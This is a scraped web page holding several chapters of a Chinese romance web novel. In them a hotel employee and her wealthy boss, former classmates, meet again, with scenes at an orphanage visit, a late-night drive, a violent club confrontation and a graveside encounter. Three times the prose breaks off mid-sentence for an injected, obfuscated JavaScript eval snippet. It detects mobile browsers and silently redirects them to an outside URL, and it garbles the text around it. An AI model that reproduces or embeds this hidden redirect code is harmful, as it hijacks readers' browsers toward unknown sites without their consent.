檀颂一着急,连忙窜过去制止,“程司珩,你先别记。” 程司珩抬眼看她,眼中似乎有些疑惑:“同学,你认识我?” “……”檀颂哽住了。 不是,她平时存在感这么低吗? 她都转来两个多月了,程司珩居然不认识她。 “…有没有可能,咱俩一个班的?”她问。 “哦。”程司珩点点头,“你是新来的,叫明什么来着?” 檀颂从善如流:“明棠。” 仿佛恶作剧得逞,程司珩笑得有些坏,拿笔在本子上写,“好的,高二五班明棠同学。” 少年的手指细长,骨节的脉络清晰可见,指甲修剪得整整齐齐。檀颂看他真要写,一时情急,伸手扯住了他右手的衣袖。 少年偏头,微挑眉,无声询问。 檀颂看见他右眼下有颗泪痣,莫名的,给男生添了几分狠厉感。 但她当时顾不得欣赏对方的美貌,她急着装可怜卖惨:“程司珩同学,看在咱俩一个班的份儿上,这次你就帮帮我,当做没看见好不好?我是因为刚才在来的路上送一个老奶奶过马路才迟到的,我还差点儿被车撞呢。求你了,既善良又帅气的程司珩同学。” 她眨巴眨巴眼,做出一副可怜巴巴的表情,双手紧紧抓着程司珩的衣袖不放。 少年安静地看了她几秒,忽然弯腰凑近她,檀颂瞪大眼睛。 “我脸上是不是刻了字?”少年问了句不相干的话。 “什么?”檀颂一时没反应过来。 “是不是刻了傻逼两个字?” “……” 没等她回答,程司珩站直身体。他没有继续在本子上写字,而是合上本子,重新揣回校服兜里,“算了,你快回去上课吧。” 他眼皮耷拉下来,打了个哈欠,抱怨道:“你迟到跟我有屁的关系。” 檀颂眼睛顿时亮了,拍了拍他的肩膀,“程司珩同学,你可真帅。” 程司珩面无表情地扯了扯唇,“所以能放开我衣服了吗?” “哦,不好意思哈。”檀颂后知后觉松开他的袖子,说:“我先回班里了,你加油!” 说完也没等程司珩有所反应,她一溜烟跑回了班里。当时还在上早自习,檀颂在后门徘徊了一会儿,确定班主任不在之后才悄悄溜了进去。 同桌说班主任一直没来,所以不知道她迟到的事,檀颂一直悬着的心才彻底放松下来。 她以为这件事就这么被她混过去了,结果下午快放学的时候,班主任把她叫到了办公室。 有人把她迟到的事捅到了年级主任那。 班主任批评了她一顿,然后让她写一份一千字的检讨。 知道她迟到的除了她同桌就只有程司珩了,那时候在檀颂看来,是程司珩出尔反尔去打小报告。从小到大,檀颂一直都是有仇必报的性格,她在心里记恨上了程司珩,总想着有机会让他还回来。 …… “咕噜咕噜~”肚子的叫声打断了她的回忆,檀颂猛然回神,惊觉自己不知不觉陷入了以前的回忆中,她甩甩头,将那些画面又压了回去。 檀颂给自己煮了碗清汤面,吃完后洗了澡回到床上休息。 - 转眼到了周五,这天下班后,檀颂途径便利店门口时看到了熟悉的黑色商务车,宋秦站在车旁。他手里拿着一个档案袋,看上去像是专门在等她。 “檀小姐,耽误你几分钟可以吗?”宋秦一开口,仍旧是客客气气的。 檀颂朝车里看了眼,车窗黑漆漆的,根本看不见里面的样子。 “靳总不在。”宋秦贴心解释道。 小心思被戳破,檀颂只是轻轻点了下头。 宋秦打开副驾驶的门,意思不言而喻。便利店门口偶尔会有下班的酒店员工经过,檀颂也不想被人看见她和大老板的助理站在一起。 于是两个人上了车,宋秦把手里的档案袋递给檀颂,“这是您上次生病住院所有的缴费单,您看下。” 檀颂翻了下里面的单子,住院费一晚就四千多,加上各种检查的费用,差不多花了一万多。 只是发个烧,花了一万多…… 有钱人生个病也这么奢侈。 檀颂心里腹诽着,嘴上却说:“麻烦您跑一趟,这钱我该怎么还给您?” 宋秦:“这钱是从靳总的私人账户出的,所以,檀小姐要还钱得还给靳总。” 檀颂:“那也可以,麻烦你把靳总的账户发我一下。” 闻言,宋秦露出一个既尴尬而又不失礼貌的微笑:“抱歉檀小姐,这事儿我不方便经手的,您最好直接找靳总要。” “……” 檀颂直觉这是个坑,但谁让她欠了人家的钱,不得不跳。她跟宋秦要了靳司珩的联系方式,然后又确认了一下靳司珩的休息时间。 做完这些,她下车,坐地铁回家。 宋秦说,靳司珩晚上有个酒局,预计十一点半会结束,让她那个时间联系靳司珩。 檀颂回到家时是十一点,看时间还早,她先去洗了澡,等吹干头发,时间差不多快到十二点了。犹豫了有一分钟,檀颂还是拿起手机,拨打了宋秦给她的电话号码。 铃声响过两阵,那边才接起。 “靳总。”檀颂叫了声。 安静了半晌,那边“嗯”了声。 声音不似平常那样清晰,呼吸声夹杂了浊音,听起来像是喝多了。 檀颂有点儿后悔这个时间给他打电话,应该选个他清醒的时间。她硬着头皮继续说:“上次您帮我垫付的医药费,我看到了,请您发我一个您的账户,我转给您。” 那边又“嗯”了一声,然后没动静了。 “靳总?”檀颂试探性地叫了一声。 良久,听筒里传来靳司珩的声音,低沉,像在压抑某种情绪,“你想说的,只有这个吗?” “对。” “呵。”他轻笑,有些不耐道:“行,明天发给你。很晚了,我要休息了。” “好,打扰靳总了。”檀颂迅速挂断电话。 第二天一大早,檀颂在地铁上就收到了靳司珩发来的一条短信,短信的内容除了一串数字之外还有几个字—— 【抱歉,昨晚喝多了,如果说了不合适的话请你谅解。】 檀颂盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14588291|154856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那句话看了半天,不知道该不该回一句。 斟酌了一下,她打了几个字回过去:【没关系,靳总,怪我那么晚了还要打扰您。】 没等多久,那边很快又回了个【嗯】字。 很好,话题到这里结束就可以了。 檀颂这么想着,退出了短信界面,重新刷起了微博。 到了酒店,在更衣室,檀颂就按照靳司珩发来的银行卡号把钱转了过去,转完之后,她发短信跟靳司珩说了一下,但那边没有回。 正好她也要工作,檀颂就没把这事放在心上。 下午,檀颂去一楼自助餐厅补充甜品,有个小女孩儿在甜品柜前站着,目光呆呆地望着里面的甜品,眼底迸发出渴望的神色。 檀颂一眼就认出小女孩儿是她上次在福利院见过的唐糖。她环顾了一下四周,没看到福利院的其他人,便把唐糖拉去了一边。 唐糖也还记得她,见到她眼睛都亮了。 “唐糖,你怎么在这儿?”檀颂问。 “马老师带我们来这里旅游。”唐糖乖巧地回答。 “旅游?那他们人呢?怎么把你自己留在这儿?” 唐糖瓮声瓮气回答:“因为我想吃蛋糕,丁老师带我下来买,然后她说要去洗手间,让我在这里等他。” 唐糖口中的丁老师是福利院的一名年轻女老师,檀颂上次回去也见过一面。 檀颂闻言松了口气。 只要不是她自己乱跑就行。 她拉起唐糖的小手,重新回到甜品柜前,问:“唐糖想吃什么蛋糕,姐姐给你买。” “真的吗?那我可以要一块草莓蛋糕和一块芒果蛋糕吗?”唐糖仰头望着檀颂,眨了眨水汪汪的眼睛,小心翼翼地提要求。 “可以。”檀颂笑着说。 她跟柜台里的员工说了声,让对方打包两整份草莓芝士蛋糕和两整份芒果千层。 等待期间,那位去洗手间的丁老师回来了,见到檀颂,她连连道歉。 “没关系,”正巧蛋糕打包好了,檀颂递给她,“这蛋糕你拿回去给孩子们分一分吧,顺便帮我跟马老师说一声,我晚上下班之后去你们定的房间看看孩子们。” “好。”丁老师带着唐糖走了。 小姑娘依依不舍的,三步一回头朝檀颂挥手。 晚上下了班,檀颂换下工作服,坐电梯到了马老师他们住的楼层。按照酒店规定,员工不能随意出现在客房区,除非客人有需求,所以上来之前,前台给马老师通过电话,核对好情况后才帮檀颂刷了电梯卡。 福利院有将近三十个孩子,七位老师,每位老师带四个孩子住一间客房。 檀颂找到马老师的房间,敲门。 马老师很快开了门,一见她,马老师就特别高兴:“快进来,明棠,进来我给你介绍一个人。” 檀颂进了门。 马老师他们住的是套房,进门便是客厅,檀颂进了门,绕过马老师,她见到了一个意料之外的人。 “靳总,您怎么也在?”檀颂感到有些诧异。 靳司珩坐在单人沙发上,长腿微屈,闻言反倒笑了笑,只是他笑意未达眼底,带着几分不怀好意的意味,“哦?请问明棠小姐,我为什么不能在这儿?” 15. 第 15 章 套房内开了空调,有些凉,檀颂只觉得头皮阵阵发麻。 靳司珩颇为坏心地挑了下眉,其中暗含了几分挑衅的意味,但他的语气仍是一派温和:“我来找马老师了解一下福利院的情况,顺便带了些礼物送给孩子们。” 这时檀颂才注意到他的沙发旁边放了一堆礼盒。 马老师关好门,折返回来,看檀颂还站在原地,以为她是因为有陌生人在而感到不自在,于是带着她走到靳司珩面前,给双方做介绍:“靳总,这就是我刚才跟您提起过的,以前也是在福利院长大的孩子,叫明棠。明棠,这位是万洲集团的靳总,我们这次能带着孩子们来津州旅游,也是靳总出钱资助的。” 檀颂盯着靳司珩,靳司珩也看着她。 马老师兴致勃勃地说着,浑然不觉这边两个人之间的暗流涌动。 靳司珩调整了一下坐姿,身体向后靠住椅背,脸上的表情又恢复成以往那个平易近人的模样。 “说起来,我跟这位明棠小姐也算认识。”这话他虽是对着马老师说的,但檀颂就觉得是专门说给她听的。 意有所指。 又或者可以说不怀好意。 马老师许是没有料到,微愣,神色有些诧异地看向檀颂。 “对,”檀颂点头,温声跟马老师解释道:“靳总是我的老板,这家酒店也是他的产业。” “原来是这样。”马老师点点头。 靳司珩没有说话,只是看她的眼神更添了一抹意味深长。 因为有靳司珩在,檀颂也没有和马老师说太多话,只说了些注意身体健康、有时间会再回去看他和孩子们之类的客套话。 已经很晚了,她和马老师告辞后退出房间,在等电梯期间,靳司珩也从马老师房间走了出来。 鼻尖忽然嗅到一股清冽的木质香,身侧有道高大的身影遮挡了大半的光亮,檀颂从电梯金属门上看见了靳司珩的倒影。 两个人并排站着,空气似乎也变得稀薄。 檀颂不知道该作何反应了。 刚才马老师悄悄和她说,让他带着孩子们来津州游玩的建议是靳司珩主动提出来的,并且他还特意让助理把他们安排在了这家五星酒店。一开始的时候院长不同意,怕孩子们在外面出意外,也是靳总亲自打电话向院长保证他会负责孩子们的安全问题,院长这才同意。 檀颂有种直觉,靳司珩在给她设局。 即便她今天没有遇到唐糖,没有得知马老师他们的到来,他也会想办法让她和他们见面,然后,看着她亲口承认她是明棠,挑破她之前所有的伪装。 檀颂不由得在心里冷笑。 还真是,煞费苦心。 他图什么呢? “叮”的一声,电梯门开。 檀颂往旁边让了一下,对靳司珩说:“靳总,您先请。” 无论如何,靳司珩也是她的老板,态度放恭敬点儿总没错。 靳司珩斜睨他一眼,然后迈步进了电梯,檀颂紧随其后,站到他身后。 电梯下行。 檀颂越过靳司珩的肩头,盯着显示屏上跳动的数字,沉默。 敌不动我不动。 她猜不透靳司珩此刻的心中所想,也懒得去猜,想着只要他不提那她就当做什么都没发生。 只是可惜。 电梯即将抵达一楼时,靳司珩冷不丁开口了。 他说:“我送你。” 檀颂将视线转移到他身上,说这话时靳司珩没有动,依旧面朝电梯门,但这狭小的空间里只有他们两个,也不用费心去猜他是对谁说的。 “不用了靳总,您早点儿休息。”檀颂照旧拒绝,话音刚落,电梯便到了一楼,门开了。 她想走,但靳司珩堵在门口处,没有丝毫要让开的意思。 “别让我说第二次。”他又说,语气随意,却充满不容置喙的强硬,同时,他伸手按下关门键。 电梯门再次关闭,继续下行。 这是靳司珩自重逢以来第一次,在她面前展现上位者的威严,只一秒檀颂便选择放弃抵抗。 当然,她抵抗也没什么用。 有些事,总逃避也不是办法。 电梯下到地下三层的停车场,两人一前一后走出去。檀颂跟在后面,放眼望去,这里停着的基本都是些豪车,她可能要工作十年或者二十年才能买得起。 靳司珩边走边掏出钥匙解锁,前方几十米的车位上停着的黑色卡宴车灯闪了闪。他径直走到副驾,拉开车门,看着她。 在他的注视下,檀颂坐进了副驾驶,隔着挡风玻璃,她静静地看着靳司珩从前面绕到主驾驶,身侧车门被打开,下一秒,鼻尖再次嗅到那股木质香。 靳司珩双手握在方向盘上,往她这边看了一眼。 那一眼怎么说呢,似乎有点儿纠结。 檀颂注意到他的视线微微下移,等了片刻,他还没有要开车的意思,檀颂有些疑惑,纠结了一下开口提醒:“靳总?” 靳司珩轻轻叹了声,说:“安全带,需要我帮你系吗?” “?”檀颂低头去看,眼皮狠狠一跳,自己果然没有系安全带。 等她系好安全带,靳司珩启动车子,车子很快融入夜色里。 一路上两个人基本没有任何交流,檀颂看着窗外倒退的夜景,双手无意识地攥紧安全带。 她很抵触眼下的情况,脑子里不停地想着等会儿该怎么应对有可能会发生的情况。 半个小时后,车子拐进她家小区前的那条破路,路边照旧是挤满了违停的车,有几辆甚至挡在了路中间。 他们的车过不去了。 檀颂如蒙大赦,边解安全带边对靳司珩说:“前面就是我家了,谢谢靳总送我回来,您路上注意安全。” 她伸手去开门,但车门纹丝未动。 ——靳司珩没有解锁。 檀颂看向靳司珩,男人没有看她,而是将自己那边的车窗打开,随后从西装口袋里掏出烟和打火机,咬出一根含在嘴里。 金属质地的打火机在路灯下泛起一丝冷硬的光,借着投进车里那道不算强烈的光,檀颂看见靳司珩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617865|154856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右手腕骨上有个黑色的纹身,图案像是一朵海棠花。 她依稀记得他们最后一次见面的时候,他手上干干净净,什么都没有。 檀颂收回手,眼帘半敛,等待靳司珩先开口。靳司珩把玩着打火机,一下一下,开开合合,却没有点烟。 安静片刻,他拿下嘴里的烟,屈指,弹到窗外,然后开口了:“明棠?” 檀颂很轻地“嗯”了声。 这个时候,已经没有逃避的必要了。 接下来又是一阵沉默。 靳司珩又问:“这些年,过得怎么样?” 檀颂回答:“挺好的。” 说话期间,两个人都没有看对方,一个看向窗外,一个低头看着自己搭在膝盖上的手。 她听见靳司珩极轻地笑了声,“那就好。” 檀颂不知道该怎么回,索性保持沉默。 十年之后的今天,两个人的身份天差地别,接触的圈子也大相径庭,早就没什么可聊的话题了。 最后还是靳司珩打破沉默,他说:“很晚了,你早点回去休息吧。” 随着他的话落,“咔哒”一声,车门解了锁。 “好,”檀颂又朝他看了眼,打开车门,轻声说:“那,您,”她顿住了,忽然不知道该怎么称呼他,她迟疑的样子落在靳司珩眼里,男人接了她的话茬:“我会注意安全。” 车门关闭,檀颂转头往小区里面走,这时身后的车灯亮起,她眼前的路一下变得清晰且光明。 檀颂愣了下,回头,男人坐在车里,指尖夹了根点燃的烟,隔着一层挡风玻璃与她对视。车灯刺眼,男人的神色也晦暗不明。 檀颂没再继续停顿,迈步往前走,很快便进了小区。 身后的车灯却一直没有熄灭。 - 两天之后是周日,檀颂休息,马老师一行人要带着孩子们去参观津州博物馆,檀颂买了些零食给他们送了过去。 跟他们见完面,她一个人漫无目的地在街上溜达。 街边有家新开的奶茶店在搞活动,门口排了挺长的队伍。檀颂对他家的新品挺感兴趣,便走到队尾,打算买一杯带回去。 她前面排了两个女生,身上穿着津州一中的校服,正在兴致勃勃地聊着八卦。 什么最近哪个男明星塌房了,什么哪个女明星谈恋爱了,最后又是哪个乐队要在津州开演唱会了,等等。 这是条商业街,恰逢周末,周围人来人往,偶尔会有人从队伍中间路过。 这时从旁边走过来一个人,大热天的,这人戴着渔夫帽和口罩,脸上遮得严严实实,全副武装,他脚步匆匆,身后仿佛有狗在追,一个不留神撞到两个女生前面的男人,男人扭头便骂:“操,你他妈没长眼睛?能不能看着点儿?” 男人嗓门大,吸引了很多人的注意,那个奇怪的人连连道歉,但是男人有些不依不饶。 檀颂在后面看着,觉得那个怪人的声音有些耳熟。听了一会儿,刚才排她前面的女生忽然问同行的朋友:“你看那个人像不像靳良空?” 16. 第 16 章 餐厅包间内。 檀颂看着靳良空满头奶奶灰色的头发和耳朵上宝石蓝色的耳钉,沉默。 原谅她不懂现在年轻人的审美。 刚才在外面,她说完那些话之后众人看靳良空的眼神立刻就变了,不知道他们信了没有,反正那男的挥手让他俩走的时候眼神里充满同情。 靳良空跟在她身后一起离开,避开众人的目光之后,檀颂本打算跟他分道扬镳,然而这孩子以要请她吃饭为由死皮赖脸地把她拉到了一间装潢精致的面馆。 风卷残云般吃掉三大碗鳝丝面,嗦完最后一口面,靳良空毫无偶像包袱地打了个饱嗝。 『JUNE』一共有五个成员,都是二十岁左右的小男生,万昭年最上头那会儿,几乎天天在朋友圈发他们的照片,檀颂无意中看到过,确实符合万昭年的审美,各个都长得很好看,既有成年男人的宽肩窄臀,又有专属于大男孩儿的激情和活力。 靳良空用纸巾擦嘴,檀颂看着他。 以前只看照片和视频还没看出来,现在直面真人,她发现靳良空在某些地方长得很像靳司珩。 像十七岁时的靳司珩。 “姐姐,你别这么看着我,”靳良空挠挠头,咧嘴一笑,“我会不好意思的。” “……” 性格却完全不一样。 靳良空眼神清澈,笑起来唇角有两个酒窝,蛮可爱的,不像靳司珩,每次笑都带着意味深长的意味,带着一股坏心思。 檀颂没有点吃的,只要了杯水,这会儿,杯里的水也见了底,“你吃完了吗?”她问,“我是不是可以走了?” “啊?那我送你回去吧,明棠姐姐。”靳良空反应过来,开始手忙脚乱戴帽子和口罩。 檀颂却因为他这句话停住了起身的动作,有些疑惑地皱眉,“你认识我?” “啊,我听丞黎哥说的。” 宗丞黎? “我哥办公室有一张你的照片,我问过他是谁,他不跟我说。”靳良空语气里夹杂了些许委屈,“还是丞黎哥告诉我的。” “你哥?” “嗯,”靳良空点头,看起来乖乖的,“我哥是靳司珩,你认识的吧,丞黎哥说你们是高中同学。” 檀颂没搭腔。 他忽地又神秘兮兮地压低了声音问:“明棠姐姐,你是不是跟我哥谈过恋爱啊?” “没有,”檀颂无语地看他,“我跟你哥不熟。” “那不能吧,”靳良空摸着下巴思考,嘴里喋喋不休:“不熟他怎么会把你的照片放在办公室啊,就在电脑旁边,一抬头就能看见。难不成是我哥暗恋你?” 下一秒他捂住嘴,眼神惊恐,仿佛知道了什么足以威胁他生命的秘密。 “明棠姐姐,我什么也没说,你什么也不知道啊。” 他的演技实在拙劣,一眼就能看出来是装的,很难想象靳家那种家庭还能生出这么单纯的孩子。檀颂也懒得跟他废话,站起身拿上包包就往外走,靳良空急忙带好帽子跟上。 出门的时候他还在说要送檀颂回家,说实话,檀颂怎么也想不明白这大白天的有什么可送的,所以靳良空去前台买单的时候她没有等他,直接走了,等靳良空买完单回过头,檀颂的身影已经消失在人潮里。 - 夜色降临,城市霓虹闪烁,褪去白天的喧嚣,整座津州城陷入到另一种神秘而狂放的气氛里。 『沉沦』,是津州最顶级的私人会所。这间会所靠近津河,与九洲国际临河相对,属于卫淮家的产业。 此时,会所内正在举办一场party,津州城那些叫得上名字的富二代几乎都在。 音乐、酒精时刻刺激着人的神经。 靳司珩刚结束一场牌局,站起来活动了下略微僵硬的脖子,从侍应生手上接过一杯酒,走到二楼阳台上吹风。 会所一共三层,一楼和二楼属于开放空间,是休闲区,包括酒吧、茶室和KTV;三楼独立存在,是休息区。 刚抿了一口,他的手机恰好响起。 接听,对面是宋秦。 “靳总,事情打听清楚了,那晚有个男人进了檀小姐家,躲在了衣柜里,大概是要对檀小姐做不好的事情,幸好檀小姐在家安了监控,及时报了警。” 靳司珩听着,目光眺向河对岸,神色幽幽:“人呢?” “拘留了七天,今天被放出来了,我已经把他带到门口了。” “带进来。” “好的。” 挂断电话,靳司珩将酒杯里的酒一饮而尽,然后手一松,杯子掉在地上摔得四分五裂,清脆的响声惊动了屋内还在打牌的人,众人看过来时,他神色如常地回到屋内。 这时,一楼的音乐声也停止。 “珩哥,怎么了?”有人问。 靳司珩没有理会,一边整理袖口一边走到楼梯口处,靠在那看宋秦带了人上来。 那人跟在宋秦身后,一进门双眼便滴溜溜乱转,毫不遮掩眼睛里贪婪的光芒。他身上还穿着几天前那套衣服,皱皱巴巴的,一楼那些少爷小姐们嫌弃地捂住鼻子后退,直冲他翻白眼。 他们虽然对这人不满,但他是宋秦带来的,自然而然便能想到是靳司珩的意思,没人敢说什么。 宋秦带着人上了二楼,带到了靳司珩面前。 靳司珩上下打量了一下他,目光中带着审视。 这人身高中等,体格臃肿,大概是被拘留时没休息好,眼中布满红血丝,下巴也长满青色的胡茬,整个人散发着一股阴暗狡诈的气息,在一群打扮精致的富二代里,显得格格不入。 “这位就是我们靳总。”宋秦介绍道。 男人肩膀下陷,咧开嘴,露出因常年吸烟而泛黄的牙,讨好般地:“靳总好。” 靳司珩目光很淡,并没把这人放在眼里。 “你叫邓荣昌?”他问。 男人点点头,“对。” 靳司珩缓缓勾唇,“知道我找你来是干嘛的吗?” “知道知道,”男人继续点头,搓搓手,“您要给我介绍一份工作。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673594|154856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言,靳司珩唇角的弧度逐渐扩大,他瞥了宋秦一眼,兴味渐浓。 宋秦有些心虚。 像邓荣昌这种常年在社会混的人,阴险狡诈,警惕心特别高,为了把他骗上车,宋秦绞尽脑汁才想到这么一个完美的借口。当然,起初邓荣昌根本不信,宋秦为了安抚他,直接给他转了两万块钱。 对付这种人,直接给钱是个很有效的办法。 “会打牌吗?”靳司珩又问。 “会,会。” 转过身,靳司珩走到牌桌前,看热闹的人立刻把位置让了出来。靳司珩坐到其中一个位置上,右手搭在桌面上轻轻敲了敲,“我们来玩一把,如果你赢了,我给你五十万,如果我赢了,你给我一样你的东西,怎么样?” 听到五十万,邓荣昌眼中立刻放光,连问都没问靳司珩要什么,便一屁股坐在靳司珩对面的位置上,连声说好。 靳司珩轻飘飘地往身侧看了眼,刚才坐他们这两个位置的男人很有眼色地补充上了另外两个空位。 牌局开始。 大概是五十万的诱惑太大,邓荣昌出牌很谨慎,靳司珩倒是放松得很,还有闲心跟其他人开玩笑。 二楼的气氛有片刻轻松。 直到牌局结束。 邓荣昌越谨慎反而越出错,最后居然给靳司珩送了一张牌。 他输了。 看着他骤然变了的脸色,靳司珩眸色越发深沉,笑了笑,他捏起一颗牌,递到邓荣昌眼前,懒懒地说:“不如这样吧,五十万我照给,但是我要的东西,你得双倍给我。” 他的手撤开,那张牌赫然是一张五万。 “可以可以,”邓荣昌眼睛眯成一条缝,因为兴奋,脸上的肉在微微颤抖,“靳总要什么,只要我有,我一定双手奉上。” 靳司珩笑得意味深长。 他站起来,悠然踱步到邓荣昌身后,同时给宋秦使了个眼色,宋秦了然,从侍者手上接过一瓶酒递了过去。 还没等众人反应过来,靳司珩倏地沉下脸,接过酒瓶便直接朝邓荣昌砸了下去。 “哗啦”一声,玻璃酒瓶裂成无数碎片,红色的液体兜头淋了邓荣昌满头,混和着血水顺着他的脸滴到衣服上。 变故一发生,周围人便退到了一旁,不敢拦,也不敢掺和进去,生怕连累到自己。 邓荣昌反应迟缓,未等他站起来,靳司珩便揪住他的衣领将他从椅子上扯了起来。此刻的靳司珩,眼眸中怒意翻涌,毫不掩饰。 “你以为你是个什么东西?嗯?”他挥起拳头,直砸邓荣昌的面门,“敢欺负我的人,你他妈活得不耐烦了是吧。” 几拳下去,邓荣昌满脸是血,浑身瘫软在地,几乎没有了还手的能力。他颤抖着想伸手指靳司珩,下一秒被靳司珩踩住后背,“哇”的一下又吐出一口血。 靳司珩发了狠,用力碾压他的后背,他犹觉得不够,抬脚想踹,被来晚的卫淮拉住。 “好了可以了,再打下去该出人命了,”卫淮拖着他到一边去,让人来收拾残局。 17. 第 17 章 邓荣昌半死不活地被保镖拖了下去,卫淮吩咐人把他送去医院,宋秦跟着去处理后续事宜,靳司珩冷眼看着,揉了揉有些酸痛的手腕。 他刚才下手狠了点儿,邓荣昌的血溅到了他西装里面的白色衬衫上。 “你们继续,”靳司珩对众人说,“我去换件衣服。” 随后,他无视掉众人好奇又畏惧的目光,神态自若地迈步上了楼梯。 仿佛刚才什么都没有发生。 休息室里有换洗衣物,都是按他的喜好准备的,全新的。 卫淮推门进来的时候,靳司珩刚解开衬衫的扣子,听见身后的动静,他朝后看了眼,目光淡淡的,很快便收了回去,继续手上的动作。 衬衫下面,是饱满流畅的肌肉。 卫淮靠在门边,点了根烟,边看边感慨,“秀色可餐,秀色可餐呐,我要是个女的,非给你裤子也扒了。” 靳司珩看他一眼,从衣柜里挑了件黑色的衬衫穿上。 自讨了个没趣,卫淮轻咳缓解了一下尴尬,然后又说:“哎,你刚才当着那么多人的面打人是不是不太好,你不怕他们把这事儿捅出去?” 靳司珩整理着袖口,闻言,头也没回说道:“这不是我该考虑的事情,而且,”顿了下,他继续说:“他们敢就去说,只要后果能承受得住就行。” “啧,”卫淮忽然觉得嘴里的烟有些呛人,“靳总就是牛逼。” “不过,”他话锋忽地一转,“我可没见你生过这么大气,刚才那个人怎么得罪你了,你下那么重的手?” “没什么,”靳司珩从柜子里翻出小药箱,他的手有轻微擦伤,“只是看他不顺眼而已。” “行吧,你爱说不说,”卫淮转身准备出去,走了两步又停下,“哦对了,陈仕德让我带句话,他想见你一面。” “不见。” “好嘞,”卫淮又不正经起来,嬉皮笑脸的,出门的时候还朝靳司珩做了个飞吻,“靳总好好休息哦。” 休息室的门重新关上,靳司珩垂眸看着自己手上的伤,脸陷在阴影里,看不清表情。 - 檀颂这几天总是心绪不宁,算算日子,那个偷偷进她家的男人应该是出来了,她担心被报复,又在家门口安了个监控,以防万一。 后面一个月无事发生,她渐渐就把这事儿放下了。 月底那天檀颂休息,吃完早饭,她去买了束花,然后打车去『小松山墓园』。 和上次她来时对比,墓园内绿树成荫,花团锦簇,倒给这个死气沉沉的地方添了几分暖意。 明舒墓前站了个男人。 檀颂爬到一半台阶才看见,阳光刺眼,她眯起眼睛看了几秒才看清那男的长什么样。 她也认识。 宗丞黎。 靳司珩的好哥们儿,也是她的高中同学。 宗丞黎这人高中的时候是个学霸,一直都是老师眼里的好学生,同学眼里的乖宝宝,现在长大了、成熟了,变得风光霁月。 不过为什么她的高中同学会出现在她姐姐的墓碑前,这个问题值得她好好思考一下。 在她的印象里,这两个人没有任何关联。 檀颂走过去,在宗丞黎身侧站定,弯腰放下花,明舒的墓碑前有一束鲜艳的黄玫瑰,檀颂愣了下,然后若无其事地直起腰。 “姐姐,”檀颂对着明舒的照片开了口,“我又来看你了,带了你最喜欢的向日葵和百合,你会开心的,对吧?” 宗丞黎在旁边安静地听着,没有出声打扰。 两人没有多余的寒暄,檀颂看了他一眼,率先打破了他们之间的沉默:“你经常来看我姐姐吗?” “嗯,”宗丞黎没动,看着明舒的照片,轻轻点了下头,“每个月来一次。” 没等檀颂说话,他又继续说道:“这些年你下落不明,司珩又忙着夺权,如果我不来陪陪她,她真的太孤单了。” 他说得认真,眼底似乎带了若有似无的哀伤。 檀颂又看向他带来的那束花,黄色玫瑰,送一个异性,代表期待和委婉的爱意。 好奇怪,檀颂回想以前的种种,完全想不起姐姐和宗丞黎有过什么交集。 唯一有交集的一次,好像是有天姐姐钱包被抢,宗丞黎帮她找了回来,檀颂记得当时宗丞黎被小偷打了,姐姐叫她帮忙去买药…… 从墓园离开时,檀颂是坐宗丞黎的车离开的。别的事情她可以不管,但涉及到明舒,她必须要把事情问清楚。 两个人各怀心事,一路上没怎么说过话,回到市里,宗丞黎带她去了自己常去的咖啡馆。 咖啡馆在一条古朴的巷子深处,车开不进去,宗丞黎便把车停在巷口,两个人走路进去。巷子里的路面由青石板铺成,两边的墙面有些斑驳,一路走进去,他们没遇到几个人,环境倒是幽静。 店里面总共只有三四个客人,或是在看书,或是在用笔记本电脑办公,没人说话,安静得仿佛落针可闻。 在前台点完单,檀颂和宗丞黎找了个离人群最远的位置坐下。 面对面坐着,檀颂忽然有些不知道该怎么开口。 其实说起来,高中那会儿她和宗丞黎并没有特别熟。 那时候宗丞黎是他们班的班长,人长得好看学习成绩也好,一直稳坐年纪第一,但他性格内敛含蓄,班里有些人不是特别服他,其中就包括经常跟程司珩混在一起的男生们,他们经常找他麻烦,比如考试的时候让他帮忙传答案,或者值日的时候借故溜走让他帮忙打扫。 不算霸凌,但也很过分。 偏偏宗丞黎是个老好人,从来不拒绝他们的请求。 檀颂也只是在看不过去的时候帮他怼了几次那些人,他俩之间的交流也仅限“谢谢”和“不客气”。 时隔多年之后,两个人再次单独相处,多少有些尴尬的成分掺杂其中。 就这么相对沉默了半晌,直到他们点的咖啡被端了过来,宗丞黎也像是酝酿了许久,缓缓开了口,:“这些年你去哪儿了?” “…南岛。”檀颂回道。< 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在檀颂的印象里,姐姐温柔大方,待她就像女儿一样。那时候福利院的条件不好,招不到老师,院长妈妈就安排大一些的孩子帮忙照顾小一点儿的孩子,那时候明舒大概八九岁,却像个大人一样,帮檀颂和其他小朋友洗脸、梳头。 所有事情她都做得井井有条。 